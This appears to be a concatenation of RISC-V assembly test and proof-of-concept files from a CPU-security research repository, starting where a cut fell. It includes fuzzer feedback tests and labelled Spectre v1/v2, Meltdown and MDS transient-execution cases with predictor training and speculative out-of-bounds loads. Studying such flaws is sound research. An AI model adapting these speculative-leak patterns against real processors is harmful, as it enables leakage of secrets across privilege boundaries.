.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 93 | pocs/milesan/src/misc/single-instr/single_load.S | .text
li t0, 0x80001000
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 101 | pocs/milesan/src/misc/single-instr/fence.S | .text
auipc a0, 0
ld t0, 0(a0)
nop
nop
fence
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 140 | pocs/milesan/src/misc/single-instr/double_load.S | .text
li s0, 0x80001000
ld t0, 0(s0)
addi s0, s0, 0x100
add t0, t0, s0
ld t0, 0(t0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 126 | pocs/milesan/src/misc/single-instr/single_load_with_nops.S | .text
li t0, 0x80001000
ld t0, 0(t0)
#flush the pipeline
.rep 16
nop
.endr
#padding
.rep 64
.dword 0x0
.endr
.align 8
end:
|
comsec-group/milesan-meta | 87 | pocs/milesan/src/misc/single-instr/auipc.S | .text
auipc a0, 0
ld t0, 0(a0)
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 120 | pocs/milesan/src/misc/single-instr/add.S | .text
auipc a0, 0
ld t0, 0(a0)
addi a0, a0, 5
add a1, a2, a3
unimp
#padding
.rep 64
.dword 0x0
.endr
.align 4
end:
|
comsec-group/milesan-meta | 61 | pocs/milesan/src/misc/single-instr/single-store.S | li t0, 0x00000080005000
li t1, 0xdeadbeef
sd t1, 0(t0)
unimp
|
comsec-group/milesan-meta | 430 | pocs/milesan/src/misc/feedback-tests/01-single-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 636 | pocs/milesan/src/misc/feedback-tests/11-arch-load-plus-spec-load-new.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001100
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 581 | pocs/milesan/src/misc/feedback-tests/07-single-branch-with-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
ori t1, t1, 0
li s0, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 632 | pocs/milesan/src/misc/feedback-tests/09-spec-load.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 0
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 431 | pocs/milesan/src/misc/feedback-tests/02-double-load.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li t0, 0x80001000
ld t0, 0(t0)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
li t0, 0x80002000
ld t0, 0(t0)
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
xori s0, s0, 4
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 522 | pocs/milesan/src/misc/feedback-tests/05-single-branch-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
beq t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 522 | pocs/milesan/src/misc/feedback-tests/06-single-branch-not-taken.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 0
bgt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 755 | pocs/milesan/src/misc/feedback-tests/08-single-branch-with-big-spec.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s1, 1337
blt t1, s0, lol
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 636 | pocs/milesan/src/misc/feedback-tests/10-arch-load-plus-spec-load-arch.S | addi s0, sp, 4
addi s0, sp, 384
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
li t0, 0x80001000
ld t0, 0(t0)
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
li s1, 0x80001000
li s0, 6
mul t1, t1, s10
div t1, t1, s10
mul t1, t1, s10
div t1, t1, s10
li s7, 1337
blt t1, s7, lol
ld t2, 0(s1)
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
.align 4
lol:
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 429 | pocs/milesan/src/misc/feedback-tests/00-no-feedback.S | addi s0, sp, 4
addi s0, sp, 384
auipc s7, 0
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
slli t1, t1, 17
addi ra, ra, 12
addi s0, sp, 384
addi ra, ra, 12
addi s0, sp, 384
addi a3, sp, 256
mv t1, t1
slli tp, tp, 14
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
addi s0, sp, 384
addi ra, ra, 12
mv tp, tp
div s0, s0, a4
addi s0, sp, 64
mul a3, a3, a4
addi s0, sp, 64
xori s0, s0, 4
andi s0, sp, 64
addi s0, sp, 64
xor s0, s1, a4
|
comsec-group/milesan-meta | 389 | pocs/milesan/src/misc/manual-analysis/static_mispred.S | .text
start:
# Load random data.
li t0, 0x80000100
ld t0, 0(t0)
# Slow down.
li t1, 6
mul t0, t0, t1
div t0, t0, t1
mul t0, t0, t1
div t0, t0, t1
# Branch is architecturally taken, but statically predicted non-taken.
beqz t0, end
# New data is loaded speculatively.
li t0, 0x80001000
ld t0, 0(t0)
.align 4
end:
j start
#padding
.rep 64
.dword 0x0
.endr
.align 8
end_dummy:
|
comsec-group/milesan-meta | 1,960 | pocs/milesan/src/misc/manual-analysis/spectrev2-sls.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_target`.
# As a result, the victim speculatively jumps to `leak_gadget` instead.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ TRAINING_ROUNDS, 1
.equ LEGIT_FUNC_IDX, 0x0
.equ LEAK_FUNC_IDX, 0x10
.equ OOB_IDX, 0x20
.text
setup:
# Setup the jump table.
li s0, UDATA
addi s1, s0, 0x40
lla t0, legit_target
sd t0, LEGIT_FUNC_IDX(s0)
lla t1, leak_target
sd t1, LEAK_FUNC_IDX(s0)
fence
attacker:
# Training: call leak function with in-bounds index.
# .rept TRAINING_ROUNDS
# li a0, LEAK_FUNC_IDX
# mv a1, s1
# call victim
# .endr
# Attack: call legit function with out-of-bounds index. The victim
# will speculatively jump to the leak function instead of the legit one.
li a0, LEGIT_FUNC_IDX
mv a1, s1
addi a1, a1, OOB_IDX
call victim
# Illegal instruction: end of the test case.
unimp
# Victim function: use a0 as an index in a jump table and perform an indirect
# call to the corresponding function.
# Args:
# a0 -> index of teh function to call
# a1 -> address to leak
.align 4
victim:
# Save ret address.
mv s2, ra
# Calculate jump target.
add t0, s0, a0
ld t1, 0(t0)
mv t5, s0
# Slow down jump with mul/div by a non-power-of-two.
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
# Indirect jump.
.align 4
jalr ra, t1
# Load from a1 (changed by callee)
lw t0, 0(t5)
# Restore ret address.
mv ra, s2
ret
# Legit target: do nothing.
.align 4
legit_target:
mv t5, s1
ret
# Leak target: access `a1`.
.align 4
leak_target:
lw t0, 0(a1)
ret
|
comsec-group/milesan-meta | 705 | pocs/milesan/src/misc/manual-analysis/unknown-flush.S | lb tp, 64(ra)
auipc sp, 0 # 0x80008004
jalr ra, sp, 108
xor ra, ra, ra
xor ra, ra, ra
addiw t0, s0, 1
sll a6, s0, ra
slli ra, sp, 63
snez s0, s0
lhu zero, 285(ra)
xor zero, zero, zero
lhu zero, 285(ra)
auipc s0, 32768 # 0x80010030
subw zero, gp, ra
lhu zero, 285(ra)
lhu zero, 285(ra)
lhu zero, 285(ra)
auipc sp, 0 # 0x80008044
lbu zero, 285(sp)
jalr ra, sp, 248
lhu zero, 285(ra)
lhu zero, 285(ra)
lhu zero, 285(ra)
lhu zero, 285(ra)
auipc sp, 0 # 0x80008060
bgt s7, tp, asd
xor t4, zero, tp
lhu zero, 285(ra)
and a6, ra, ra
lbu ra, 64(s2)
slliw zero, sp, 8
slliw zero, sp, 8
slliw zero, sp, 8
slliw zero, sp, 8
slliw zero, sp, 8
slliw zero, sp, 8
slliw zero, sp, 8
ret
.rep 200
unimp
.endr
asd:
unimp
|
comsec-group/milesan-meta | 334 | pocs/milesan/src/misc/manual-analysis/meltdown-store-pfault.S | auipc s5, 402894 # 0x67fcd000
nop
ori s8, sp, 0
nop
addi tp, t0, -1621
auipc sp, 0 # 0x80008014
addi ra, a6, 8
sd zero, 32(zero)
beq zero, sp, asd
srl sp, zero, s8
nop
srl sp, zero, s8
nop
nop
mv zero, s1
nop
nop
lb zero, 0(a6)
nop
addi zero, zero, -1830
add tp, t5, t0
nop
lbu s6, 2029(tp)
nop
ret
.rep 1200
unimp
.endr
asd:
unimp
|
comsec-group/milesan-meta | 1,012 | pocs/milesan/src/misc/manual-analysis/load-ordering-failure.S | li x1, 0x80009000
li x2, 0x80009000
li x3, 0x80009000
li x4, 0x80009000
li x5, 0x80009000
li x6, 0x80009000
li x7, 0x80009000
li x8, 0x80009000
li x9, 0x80009000
li x10, 0x80009000
li x11, 0x80009000
li x12, 0x80009000
li x13, 0x80009000
li x14, 0x80009000
li x15, 0x80009000
li x16, 0x80009000
li x17, 0x80009000
li x18, 0x80009000
li x19, 0x80009000
li x20, 0x80009000
li x21, 0x80009000
li x22, 0x80009000
li x23, 0x80009000
li x24, 0x80009000
li x25, 0x80009000
li x26, 0x80009000
li x27, 0x80009000
li x28, 0x80009000
li x29, 0x80009000
li x30, 0x80009000
li x31, 0x80009000
li s8, 0
li t3, 0xA0009000
sd t3, 1024(s0)
fence
lhu t5, 212(t5)
lbu t5, 212(s10)
sllw s11, t5, s8
auipc sp, 21478 # 0x800c
sb sp, 1024(s0)
add s0, s1, t0
lw t5, 1024(a6)
lw t5, 1024(t0) # <---- memory ordering fault
lw t5, 1024(t0)
sllw t2, t5, s8
lh a6, 1024(t2) # <---- taint
sllw s11, t5, s7
addi a4, s11, -2032
sw zero, 0(a4)
sb t5, 41(t0)
sw t5, 1168(s11)
slliw a0, sp, 16
addi a4, s11, -2032
sw zero, 0(a4)
unimp
|
comsec-group/milesan-meta | 1,117 | pocs/milesan/src/misc/manual-analysis/mds-standalone.S | #define SECRET_1 0xdeadbeef
#define SECRET_2 0xcacacafe
#define VICTIM_1 0x80009100
#define VICTIM_2 0x80009110
#define INVALID 0xA0000100
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, SECRET_1 # secret 1
li t6, SECRET_2 # secret 2
li t1, VICTIM_1 # victim address 1
li t2, VICTIM_2 # victim address 2
li t3, INVALID # invalid address (used by attacker)
fence
victim:
sw t0, 0(t1) # store 0xdeadbeef to address VICTIM_1
sw t6, 0(t2) # store 0xcacacafe to address VICTIM_2
mul t6, t6, t6 # Padding
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0000100 <----- Speculatively gets 0xdeadbeef
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000110 <----- Speculatively gets 0xcacacafe
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000120
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000130
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000140
# End simulation.
unimp
|
comsec-group/milesan-meta | 552 | pocs/milesan/src/misc/manual-analysis/meltdown-noinit.S | // access to user mode page to show that it works
li s2, 0x80000000
li t0, 0x1000
add s0, s2, t0
add s0, s0, t0
add s0, s0, t0
add s0, s0, t0
add s0, s0, t0
ld s1, 0(s0)
// access to supervisor mode page, which will
// raise a fault
add s1, s2, t0
ld s1, 0(s1)
// add offfset to user base address
# add s1, t0, s1
# // load from that address in order to
# // reveal secret value through side channel
# ld s2, 0(s1)
nop
nop
nop
nop
nop
nop
nop
nop
|
comsec-group/milesan-meta | 1,160 | pocs/milesan/src/misc/manual-analysis/test.S | .text
text:
#ifdef NO_DATA
li s0, 0x80009000
#else
li s0, 0x80009000
# lla s0, data
#endif
li t1, 1
li t0, 2
li t2, 0
li t3, 8
# .rep 2400
# nop
# .endr
.align 4
main:
# Call func1 in a loop
addi t2, t2, 1
.align 4
call func1
nop
nop
j main
# Padding.
.rep 20
nop
.endr
.align 4
func1:
# Slow down branch.
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# Mispredicted branch.
beqz t0, speculative
# Trained branch: not taken for t3 times, then taken.
bge t2, t3, skip
nop
nop
nop
nop
.align 4
skip:
nop
nop
nop
nop
ret
.align 4
end:
unimp
# Padding.
.rep 60
nop
.endr
# ----------- Speculative load.
speculative:
ld t0, 0(s0)
ret
# ------------- Data loaded speculatively.
#ifndef NO_DATA
.data
data:
.dword 0xcacacafedeadbee0
.dword 0xcacacafedeadbee1
.dword 0xcacacafedeadbee2
.dword 0xcacacafedeadbee3
.dword 0xcacacafedeadbee4
#else
#padding
.rep 64
.dword 0x0
.endr
#endif
|
comsec-group/milesan-meta | 178 | pocs/milesan/src/misc/manual-analysis/spectrev1-jal.S | lb ra,0(a6)
srli zero,zero,0x8
srli zero,s0,0x8
srli zero,zero,0x8
sd ra,-304(ra)
xor s11,tp,s0
lhu sp,172(tp) # 0xac
subw a2,a7,s0
jr 172(ra)
|
comsec-group/milesan-meta | 551 | pocs/milesan/src/misc/manual-analysis/spectrev2-static.S | .text
setup:
lla s1, jmp_target
taint_load:
ld t0, 0(s2)
addi s2, s2, 0x100
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mv ra, t1
# Indirect jump.
.align 4
# ret
jalr ra, t1
unimp
.align 8
jmp_target:
ld t0, 0x80(s0)
# unimp
ret
|
comsec-group/milesan-meta | 464 | pocs/milesan/src/misc/manual-analysis/spectre-v1-unaligned-br.S | li a7, 0x80009000
ld a5, 0(a7)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu t5, 32(t1)
lwu s0, 0(t1)
bleu t5, tp, asd
lbu t5, 32(a6)
slt s0, a3, sp
lb a6, 32(tp)
nop
addi t5, t5, 2
lb sp, 16(s0)
jalr t5, zero, 12
srai a6, s0, 59
nop
asd:
ld zero,8(a7)
unimp
.data
data:
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,804 | pocs/milesan/src/misc/manual-analysis/spectrev1_bad_training.S | #------------------------------------------------------------------------------
# Spectrev1 with insufficient training.
#------------------------------------------------------------------------------
.equ N_TRAINING_ROUNDS, 4
.equ NON_POWER_OF_2, 6
.equ ARR_SIZE, 0x20
.equ OOB_IDX, 0x180
.text
attacker:
li a0, 0
nop # HACK: align code for the detector.
# Training: call the victim with a0 = 0.
.rept N_TRAINING_ROUNDS
call victim
.endr
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
#ifdef NO_DATA
li t0, 0x80001000
#else
lla t0, arr
#endif
add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: jump if `a0` is less than 0x20.
li t2, ARR_SIZE
ble a0, t2, spec
# Branch not taken: return.
ret
.align 4
spec:
# Branch taken: dereference the address.
lw t0, 0(t0)
addi t0, t0, 0x1
ret
#ifndef NO_DATA
.data
arr:
# cache line 0 and 1 (read architecturally)
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
.dword 0x00000000cacacafe
# cache line 2 and 3 (padding)
.dword 0xfffffffffffffff0
.dword 0xfffffffffffffff1
.dword 0xfffffffffffffff2
.dword 0xfffffffffffffff3
.dword 0xfffffffffffffff4
.dword 0xfffffffffffffff5
.dword 0xfffffffffffffff6
.dword 0xfffffffffffffff7
.dword 0xfffffffffffffff8
.dword 0xfffffffffffffff9
.dword 0xfffffffffffffffa
.dword 0xfffffffffffffffb
.dword 0xfffffffffffffffc
.dword 0xfffffffffffffffd
.dword 0xfffffffffffffffe
.dword 0xffffffffffffffff
# cache line 4 and 5 (read speculatively)
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
.dword 0x00000000deadbeef
#else
#padding
.rep 64
.dword 0x0
.endr
#endif
|
comsec-group/milesan-meta | 8,995 | pocs/milesan/tlbleed/Template/src/entry.S | /* entry.S */
#include "encoding.h"
#if __riscv_xlen == 64
# define STORE sd
# define LOAD ld
# define REGBYTES 8
#else
# define STORE sw
# define LOAD lw
# define REGBYTES 4
#endif
#define PASS 1
#define FAIL 3
#define STACK_TOP (_end + 4096)
#define THREAD_TOP (_end + 8192)
.section ".text.init","ax",@progbits
.global _start
.align 2
_start:
j handle_reset
/* NMI vector */
.align 2
nmi_vector:
j nmi_vector
.global mtvec_handler
.align 2
mtvec_handler:
li gp, FAIL
la a0, tohost
1: STORE gp, 0(a0)
j 1b
.global stvec_handler
.align 2
stvec_handler:
beqz gp, 1f
csrw sepc, gp
sret
1: li gp, PASS
la a0, tohost
1: STORE gp, 0(a0)
j 1b
handle_reset:
csrwi pmpcfg0, 0
csrwi mstatus, 0
/* Init xregs */
li x1, 0
li x2, 0
li x3, 0
li x4, 0
li x5, 0
li x6, 0
li x7, 0
li x8, 0
li x9, 0
li x10, 0
li x11, 0
li x12, 0
li x13, 0
li x14, 0
li x15, 0
li x16, 0
li x17, 0
li x18, 0
li x19, 0
li x20, 0
li x21, 0
li x22, 0
li x23, 0
li x24, 0
li x25, 0
li x26, 0
li x27, 0
li x28, 0
li x29, 0
li x30, 0
li x31, 0
li t0, MSTATUS_FS
csrs mstatus, t0
la t0, 1f
csrw mtvec, t0
fmv.s.x f0, x0
fmv.s.x f1, x0
fmv.s.x f2, x0
fmv.s.x f3, x0
fmv.s.x f4, x0
fmv.s.x f5, x0
fmv.s.x f6, x0
fmv.s.x f7, x0
fmv.s.x f8, x0
fmv.s.x f9, x0
fmv.s.x f10,x0
fmv.s.x f11,x0
fmv.s.x f12,x0
fmv.s.x f13,x0
fmv.s.x f14,x0
fmv.s.x f15,x0
fmv.s.x f16,x0
fmv.s.x f17,x0
fmv.s.x f18,x0
fmv.s.x f19,x0
fmv.s.x f20,x0
fmv.s.x f21,x0
fmv.s.x f22,x0
fmv.s.x f23,x0
fmv.s.x f24,x0
fmv.s.x f25,x0
fmv.s.x f26,x0
fmv.s.x f27,x0
fmv.s.x f28,x0
fmv.s.x f29,x0
fmv.s.x f30,x0
fmv.s.x f31,x0
1:
la t0, mtvec_handler
csrw mtvec, t0
la t0, stvec_handler
csrw stvec, t0
#ifdef LEAK_FROM_U
li t0, 1
csrs mcounteren, t0 # enable cycle CSR for U-mode
csrs scounteren, t0 # enable cycle CSR for U-mode
la t0, stvec_handler
csrw mtvec, t0
# slli t0, t0, 13
# csrc medeleg, t0 # delegate page fault to M-mode
#endif
la sp, STACK_TOP
la tp, THREAD_TOP
/* Memory layout configuration */
call pmp_boot
call vm_boot
/* Enable S-mode cycle reading */
li a0, 1
csrs mcounteren, a0
li a0, MSTATUS_MPP
csrc mstatus, a0
#ifndef LEAK_FROM_U
li a0, (MSTATUS_MPP & (MSTATUS_MPP >> 1))
csrs mstatus, a0
#endif
la t0, attack
csrw mepc, t0
mret
.section ".tohost","aw",@progbits
.align 6
.global tohost
tohost: .dword 0
.align 6
.global fromhost
fromhost: .dword 0
.section ".text.attack"
.global attack
.align 2
attack:
call main
attack_end:
la t0, stvec_handler
jr t0
.section ".data"
.global data
data:
.global data0
.align 12
data0:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data1
.align 12
data1:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data2
.align 12
data2:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data3
.align 12
data3:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data4
.align 12
data4:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data5
.align 12
data5:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data6
.align 12
data6:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data7
.align 12
data7:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
